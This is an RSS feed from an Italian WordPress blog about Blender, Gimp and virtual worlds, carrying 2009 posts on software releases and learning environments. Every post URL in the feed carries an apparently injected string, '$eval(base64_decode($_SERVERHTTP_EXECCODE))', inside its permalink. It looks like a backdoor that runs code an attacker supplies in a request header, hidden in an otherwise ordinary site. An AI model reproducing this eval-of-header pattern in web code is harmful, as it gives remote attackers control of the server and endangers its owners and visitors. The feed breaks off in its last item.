<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bubbles Factory</title>
	<atom:link href="http://www.bubblesfactory.it/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bubblesfactory.it/wordpress</link>
	<description>Progettazione e Didattica con software Open Source</description>
	<lastBuildDate>Sun, 29 Nov 2009 11:41:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>November 24, 2009: Blender 2.5 Alpha 0 released</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/11/29/november-24-2009-blender-2-5-alpha-0-released/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/11/29/november-24-2009-blender-2-5-alpha-0-released/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 11:37:56 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=1027</guid>
		<description><![CDATA[Il 24 novembre 2009 è stata finalmente rilasciata (con un po&#8217; di ritardo) la versione 2.5 di Blender. E&#8217; ancora nella versione beta e contiene alcuni bug ma si presenta come un eccezionale passo avanti nella semplicità di uso. Viene già utilizzata stabilmente dalla Blender Foundation per portare avanti il Durian Project, animazione ad alta definizione, terzo [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/11/Durian.jpg"><img class="aligncenter size-full wp-image-1030" title="Durian" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/11/Durian.jpg" alt="Durian" width="280" height="158" /></a></p>
<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Il 24 novembre 2009 è stata finalmente rilasciata (con un po&#8217; di ritardo) la versione 2.5 di Blender.<br />
E&#8217; ancora nella versione beta e contiene alcuni bug ma si presenta come un eccezionale passo avanti nella semplicità di uso.<br />
Viene già utilizzata stabilmente dalla Blender Foundation per portare avanti il Durian Project, animazione ad alta definizione, terzo open movie project della BF dopo Elephants Dream e Big Buck Bunny.</span></span></span></p>
<p><a href="http://www.blender.org/development/release-logs/blender-250/"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><strong><span style="color: #ff00ff;"><span style="font-size: large;">Qui</span></span></strong></span></span></span></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><span style="font-size: medium;"><strong><span style="color: #ff00ff;"> </span></strong></span>trovate il calendario degli aggiornamenti e le nuove caratteristiche della nuova versione.<br />
L&#8217; interfaccia è molto più amichevole e completamente personalizzabile.</span></span></span></p>
<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><a href="http://www.blender.org/download/get-25-alpha/"><span style="color: #ff00ff;"><strong><span style="font-size: large;">Qui</span></strong></span></a><strong><span style="font-size: large;"> </span></strong>potete scaricare una cartella, dezipparla e utilizzare Blender 2.5 senza installarlo (l&#8217; installer è atteso a giorni), è esageratamente semplice. Provate ed avrete voglia di cominciare a lavorarci.</span></span></span></p>
<p><span style="font-size: large;"><span style="font-family: arial black,avant garde;"><span style="color: #ff00ff;">L&#8217; era Blender è cominciata!</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/11/29/november-24-2009-blender-2-5-alpha-0-released/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Blender 2.5</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/10/08/blender-2-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/10/08/blender-2-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 10:01:35 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=904</guid>
		<description><![CDATA[                  Da questo sito potete finalmente scaricare una versione non ufficiale di Blender 2.5, in attesa di quella che verrà rilasciata in occasione della Blender Conference 2009. La versione scaricabile ha ancora molti bug ma permette di provare il brivido di utilizzare una interfaccia nuova e migliorata; [...]]]></description>
			<content:encoded><![CDATA[<table style="height: 96%;" border="0" width="779" align="center">
<tbody>
<tr>
<td colspan="2"><a href="http://www.graphicall.org/"><img src="http://graphicall.org/builds/images/graphicall.gif" border="0" alt="GraphicAll.org" /></a></p>
<table border="0" width="100%">
<tbody>
<tr>
<td align="center"><a href="http://graphicall.org/builds/index.php"><img src="http://graphicall.org/builds/images/index.gif" border="0" alt="Index" /></a>      <a href="http://graphicall.org/builds/FAQ.php"><img src="http://graphicall.org/builds/images/faq.gif" border="0" alt="FAQ" /></a>       <a href="http://graphicall.org/builds/contact.php"><img src="http://graphicall.org/builds/images/contact.gif" border="0" alt="Contact" /></a>       <a href="http://graphicall.org/builds/users/login.php"><img src="http://graphicall.org/builds/images/login.gif" border="0" alt="" /></a></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Da </span></span></span><a href="http://www.graphicall.org/builds/"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><span style="font-size: large;"><span style="color: #ff00ff;">questo sito </span></span></span></span></span></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">potete finalmente scaricare una versione non ufficiale di Blender 2.5, in attesa di quella che verrà rilasciata in occasione della Blender Conference 2009.<br />
La versione scaricabile ha ancora molti bug ma permette di provare il brivido di utilizzare una interfaccia nuova e migliorata; inoltre potete cominciare a prendere confidenza con le nuove caratteristiche di un software che ha tutte le qualità (e forse qualcuna in più) di un programma commerciale.</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/10/08/blender-2-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Modellazione del corpo umano</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/10/08/modellazione-del-corpo-umano/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/10/08/modellazione-del-corpo-umano/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 09:49:13 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Scultura]]></category>
		<category><![CDATA[Software di modellazione tridimensionale]]></category>
		<category><![CDATA[Blender]]></category>
		<category><![CDATA[Modellazione 3D]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=893</guid>
		<description><![CDATA[Vi segnalo questi tre tutorial molto interessanti sulla modellazione delle mani. Il primo  è utile per capire la struttura ed il funzionamento della mano e l&#8217; anatomia al fine di evitare i più banali errori di modellazione che poi diventano ancora più evidenti se vogliano animare ciò che abbiamo modellato. Da notare anche la naturalezza con cui [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Vi segnalo questi tre tutorial molto interessanti sulla modellazione delle mani.<br />
Il primo  è utile per capire la struttura ed il funzionamento della mano e l&#8217; anatomia al fine di evitare i più banali errori di modellazione che poi diventano ancora più evidenti se vogliano animare ciò che abbiamo modellato.<br />
Da notare anche la naturalezza con cui il relatore utilizza  le numerose finestre di Gimp per disegnare a mano libera e per spiegare i suoi concetti.<br />
Gli altri due spiegano in modo chiaro e semplice come modellare una mano con Blender.</span></span></span></p>
<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;">Ecco il </span></span><a href="http://www.blendernation.com/hand-and-finger-modeling-tutorial/" target="_blank"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: large;"><span style="color: #ff00ff;">link.</span></span></span></span></a></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="250" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=6845297&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="250" src="http://vimeo.com/moogaloop.swf?clip_id=6845297&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p><a href="http://vimeo.com/6845297">Hand-Finger Modelling Tutorial_Basic Points</a> from <a href="http://vimeo.com/freeartsculture">freeartsculture_kursad</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/10/08/modellazione-del-corpo-umano/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MITO Mixed Reality Performance. By 2lifecast.</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/09/19/mito-mixed-reality-performance/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/09/19/mito-mixed-reality-performance/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 19 Sep 2009 21:23:34 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Mondi virtuali]]></category>
		<category><![CDATA[2Lifecast]]></category>
		<category><![CDATA[avatar]]></category>
		<category><![CDATA[Comunicazione]]></category>
		<category><![CDATA[MITO]]></category>
		<category><![CDATA[Mixed Reality]]></category>
		<category><![CDATA[Second Life]]></category>
		<category><![CDATA[Virtual Worlds]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=846</guid>
		<description><![CDATA[Vi segnalo un evento fra reale e virtuale. Un evento in sincronia fra mondo reale e mondo virtuale. Scrive Stex Auer (alias Stefano Lazzari): &#8220;Un sabato e domenica intensi, il week-end passato. Mixed Reality Performance: una serata in Sirikata è stato un appuntamento ricco ed entusiasmante. Chi era lì presente con noi in Aula De [...]]]></description>
			<content:encoded><![CDATA[<div><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Vi segnalo un evento fra reale e virtuale. Un evento in sincronia fra mondo reale e mondo virtuale.<br />
Scrive Stex Auer (alias Stefano Lazzari):</span></span></span></div>
<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">&#8220;Un sabato e domenica intensi, il week-end passato. Mixed Reality Performance: una serata in Sirikata è stato un appuntamento ricco ed entusiasmante.</span></span></span></p>
<p><a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/09/MITO.jpg"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><img class="aligncenter size-full wp-image-847" title="MITO" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/09/MITO.jpg" alt="MITO" width="500" height="375" /></span></span></span></a><br />
<span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Chi era lì presente con noi in Aula De Carli, al Politecnico di Milano Bovisa, ha vissuto un&#8217;esperienza veramente cross-media. Il pianoforte di Chryssie Nanou in sala, Jeffrey T. Shnapp e Henrik Bennetsen, fisicamente a Milano, ma attivi tramite i loro avatar nel mondo immersivo di Sirikata, le note degli artisti che suonavano live al di là dell&#8217;Atlantico &#8211; da Stanford e Missoula &#8211; magicamente sincronizzati con il pianoforte della Nanou e con i pianoforti meccanici collocati a Stanford (ma controllati da Milano), hanno dato vita ad uno spettacolo unico nel suo genere.<br />
La stessa esperienza l&#8217;hanno vissuta gli avatar da Second Life, e gli utenti del web che via streaming video e dai cellulari hanno potuto vedere le immagini del concerto in rete, in tempo reale, avvertiti da un twitter di Samaya Silberman di 2lifecast, che ha seguito e disseminato nel web passo a passo tutte le serate.<br />
</span></span></span></p>
<div style="margin-bottom: 0px;"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Conoscendo i problemi di latenza e sincronizzazione in rete che un&#8217;impresa del genere comporta, l&#8217;incastellatura di software e di protocolli per lo streaming, solo per questo c&#8217;è da rimanerne stupefatti. Ma non è solo questione di hype, non è solo tecnologia che abbaglia e che fa clamore. </span></span></span></div>
<div style="margin-bottom: 0px;"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><em>Mixed Reality Performance: una serata in Sirikat</em>a è un esperimento, un processo costruito sulla sapienza e sull&#8217;intelligenza connettiva di tutti quelli che vi hanno partecipato, pubblico, artisti, noi di 2lifecast, avatar, laptop, mixer, server, fibra ottica: senza tutto questo, persone e macchine, <em>Mixed Reality Performance</em> non sarebbe esistito.</span></span></span></div>
<div style="margin-bottom: 0px;"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Peccato non esserci stati.&#8221;</span></span></span></div>
<p><span style="color: #ff00ff;"><strong><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;">In effetti se l&#8217; avessi saputo&#8230;</span></span></strong></span></p>
<div style="margin-bottom: 0px;"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Allego alcuni link:<br />
collage di immagini</span></span></span></div>
<div><a href="http://www.vuvox.com/collage/detail/01693199a8" target="_blank"><span style="color: #ff00ff;"><span style="font-size: medium;">http://www.vuvox.com/collage/detail/01693199a8</span></span></a></div>
<div><a href="http://animoto.com/play/5YQZ8OmgqyW1zFe1nkteIw?utm_campaign=share_email&amp;utm_medium=email&amp;utm_source=share_email#" target="_blank"><span style="color: #ff00ff;"><span style="font-size: medium;">http://animoto.com/play/5YQZ8OmgqyW1zFe1nkteIw?utm_campaign=share_email&amp;utm_medium=email&amp;utm_source=share_email#</span></span></a></div>
<div><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">foto</span></span></span></div>
<div><a href="http://www.flickr.com/photos/tomcorsan/" target="_blank"><span style="font-size: medium;"><span style="color: #ff00ff;">http://www.flickr.com/photos/tomcorsan/</span></span></a></div>
<div><span style="color: #000000;"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;">filmati da cellulari</span></span></span></div>
<div><a href="http://qik.com/tomcorsan" target="_blank"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #ff00ff;">http://qik.com/tomcorsan</span></span></span></a></div>
<p> </p>
<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"> </span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/09/19/mito-mixed-reality-performance/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rilasciata la versione 2.7 di Gimp</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/08/25/rilasciata-la-versione-2-7-di-gimp/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/08/25/rilasciata-la-versione-2-7-di-gimp/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 07:49:48 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=804</guid>
		<description><![CDATA[E&#8217; stata finalmente rilasciata la nuova versione di Gimp, la 2.7 che però non è stabile e quindi è solo una versione dimostrativa della successiva 2. 8 che è sarà la prossima versione utilizzabile professionalmente. Contiene però molte nuove caratteristiche interessanti e nuovi plug-in che, assicura il team di sviluppo di Gimp, saranno tutti inclusi [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/wilber_painter.png"><img class="aligncenter size-full wp-image-805" title="wilber_painter" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/wilber_painter.png" alt="wilber_painter" width="80" height="60" /></a><br />
<span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><span style="font-size: medium;">E&#8217; stata finalmente rilasciata la nuova versione di Gimp, la 2.7 che però non è stabile e quindi è solo una versione dimostrativa della successiva 2. 8 che è sarà la prossima versione utilizzabile professionalmente.<br />
Contiene però molte nuove caratteristiche interessanti e nuovi plug-in che, assicura il team di sviluppo di Gimp, saranno tutti inclusi nella 2.8.<br />
Consiglio di scaricarla a chi è curioso di vedere i nuovi sviluppi di questo potente programma Open Source ottimo per il fotoritocco e il disegno o la pittura digitale. Non solo ma è anche un grande alleato di Blender nell&#8217; affermazione dell&#8217; Open Source per il lavoro professionale (con Gimp si creano le texture o si modificano e si sviluppa il lavoro sull&#8217; immagine per Blender).<br />
</span><span style="font-size: large;"><span style="color: #ff00ff;"><a title="Il sito di Gimp" href="http://www.gimp.org/" target="_blank">Qui</a></span></span> <span style="font-size: medium;">il sito di Gimp; importante: se volete una versione stabile scaricate la 2.6.<br />
</span><span style="font-size: large;"><span style="color: #ff00ff;"><a href="http://developer.gimp.org/NEWS" target="_blank">Qui</a></span></span> <span style="font-size: medium;">trovate l&#8217; elenco delle novità della 2.7 fra cui la possibilità di supportare il formato Jpeg 2000.</span><br />
</span></span></span><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/Gimp.jpg"><img class="aligncenter size-medium wp-image-809" title="Gimp" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/Gimp-300x180.jpg" alt="Gimp" width="300" height="180" /></a> </span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/08/25/rilasciata-la-versione-2-7-di-gimp/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ecco Sloodle, ambiente di apprendimento immersivo che unisce Second Life e Moodle</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/08/19/ecco-sloodle-ambiente-di-apprendimento-immersivo-che-unisce-second-life-e-moodle/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/08/19/ecco-sloodle-ambiente-di-apprendimento-immersivo-che-unisce-second-life-e-moodle/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 15:56:20 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=770</guid>
		<description><![CDATA[E&#8217; Sloodle, un progetto Open Source che unisce gli ambienti immersivi tridimensionali di Second Life con le possibilità comunicative e di insegnamento di Moodle. SLOODLE contiene molti strumenti per l&#8217; insegnamento e l&#8217; apprendimento nei mondi virtuali. Questi strumenti sono integrati con un LMS, un learning management system che è un CMS progettato appositamente per l&#8217; [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"></p>
<p>E&#8217; Sloodle, un progetto Open Source che unisce gli ambienti immersivi tridimensionali di Second Life con le possibilità comunicative e di insegnamento di Moodle.<br />
SLOODLE contiene molti strumenti per l&#8217; insegnamento e l&#8217; apprendimento nei mondi virtuali.<br />
Questi strumenti sono integrati con un LMS, un learning management system che è un CMS progettato appositamente per l&#8217; insegnamento.<br />
Le possibilità che si aprono nel futuro sono fantastiche.<br />
Nel nostro campo, per esempio, della progettazione artistica e architettonica e dell&#8217; insegnamento dell&#8217; arte, della progettazione e della comunicazione il fatto di poter unire gli ambienti tridimensionali di Second Life o di Cyberlandia e di un LMS è molto interessante. Significa poter progettare, modellare e costruire in un ambiente virtuale tridimensionale con molte caratteristiche simili al mondo fisico e poterle comunicare utilizzando gli strumenti di Moodle. </p>
<p></span></span></span></p>
<p style="text-align: center;"><span style="font-size: small; font-family: Verdana;"><span style="color: #ff00ff;"><strong><span style="color: #ff00ff;"><span style="font-size: large;">Guardate qui cosa si può già fare:</p>
<p></span></span></strong></span></span></p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/g1yFsdTQCro&amp;hl=it&amp;fs=1&amp;color1=0xe1600f&amp;color2=0xfebd01" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/g1yFsdTQCro&amp;hl=it&amp;fs=1&amp;color1=0xe1600f&amp;color2=0xfebd01" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/08/19/ecco-sloodle-ambiente-di-apprendimento-immersivo-che-unisce-second-life-e-moodle/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Foundation Blender Compositing di Roger Wickes</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/08/15/foundation-blender-compositing-di-roger-wickes/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/08/15/foundation-blender-compositing-di-roger-wickes/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 22:12:21 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=738</guid>
		<description><![CDATA[Big Buck Bunny ci sorride dalla copertina di questo libro. Non si dà ancora l&#8217; importanza che merita all&#8217; editor video che è contenuto nell&#8217; interfaccia di Blender: &#8216;Foundation Blender Compositing&#8217; di Roger Wickes è invece dedicato in modo specifico alla videocomposizione.  In questo libro si spiega come ottenere effetti speciali con l&#8217; editor video di [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/foundationblendercompositing.png"><img class="aligncenter size-full wp-image-739" title="foundationblendercompositing" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/foundationblendercompositing.png" alt="foundationblendercompositing" width="515" height="600" /></a><br />
<span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Big Buck Bunny ci sorride dalla copertina di questo libro.<br />
Non si dà ancora l&#8217; importanza che merita all&#8217; editor video che è contenuto nell&#8217; interfaccia di Blender:<br />
</span><span style="color: #ff00ff;"><span style="font-size: large;"><a title="Foundation Blender Compositing " href="http://www.amazon.com/Foundation-Blender-Compositing-Roger-Wickes/dp/1430219769/ref=pd_bxgy_b_img_a" target="_blank"><span style="color: #ff00ff;">&#8216;Foundation Blender Compositing&#8217; di Roger Wickes </span></a></span></span><span style="color: #000000;">è invece dedicato in modo specifico alla videocomposizione.  In questo libro si spiega come ottenere effetti speciali con l&#8217; editor video di Blender, approfondendo i Nodi e le caratteristiche del VSE e come sfruttarle al massimo.<br />
Lo trovate su Amazon.com<br />
</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/08/15/foundation-blender-compositing-di-roger-wickes/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cyberlandia, mondo virtuale Open Source</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/08/14/cyberlandia-mondo-virtuale-open-source/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/08/14/cyberlandia-mondo-virtuale-open-source/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 14 Aug 2009 16:43:41 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Mondi virtuali]]></category>
		<category><![CDATA[Comunicazione]]></category>
		<category><![CDATA[Cyberlandia]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=728</guid>
		<description><![CDATA[Vi segnalo un mondo virtuale di grande interesse che stà crescendo sempre più in Italia: è Cyberlandia ed è basato su Hippo open sim viewer, un client Open Source. La differenza con Second Life stà nel fatto che se volete costruire qualcosa e condividerlo con gli altri mantenendolo sempre on line non dovete pagare lo [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/maoxning1.jpg"><img class="aligncenter size-full wp-image-729" title="maoxning1" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/maoxning1.jpg" alt="maoxning1" width="604" height="322" /></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Vi segnalo un mondo virtuale di grande interesse che stà crescendo sempre più in Italia: è </span></span></span><a title="Cyberlandia, il blog" href="http://www.cyberlandia.net/?cat=46" target="_blank"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><span style="font-size: large;"><span style="color: #ff00ff;">Cyberlandia</span></span></span></span></span></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"> ed è basato su Hippo open sim viewer, un client Open Source. La differenza con Second Life stà nel fatto che se volete costruire qualcosa e condividerlo con gli altri mantenendolo sempre on line non dovete pagare lo spazio ai Lindenlab ma basta che abbiate un po&#8217; di spazio server a disposizione e </span></span></span><a title="Crea la tua isola" href="http://www.cyberlandia.net/?page_id=9" target="_blank"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #ff00ff;"><span style="font-size: large;">qui</span></span></span></span></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><span style="color: #ff00ff;"><span style="font-size: large;"> </span></span>potete aggiungere la vostra isola. Non solo ma potete configurare Hiperblog anche in locale, riuscendo ad accedere alla vostra isola anche offline cosa possibile in SL apparentemente solo in teoria.<br />
</span></span></span><br />
<a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/maoxning2.jpg"><img class="aligncenter size-full wp-image-730" title="maoxning2" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/maoxning2.jpg" alt="maoxning2" width="604" height="354" /></a></p>
<p> </p>
<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Le due immagini sono tratte da www. cyberlandia.net e sono due fotografie scattate all&#8217; interno di questo mondo virtuale.</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/08/14/cyberlandia-mondo-virtuale-open-source/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>API O3D la terza dimensione direttamente nel tuo browser</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/08/09/api-o3d-la-terza-dimensione-direttamente-nel-tuo-browser/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/08/09/api-o3d-la-terza-dimensione-direttamente-nel-tuo-browser/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
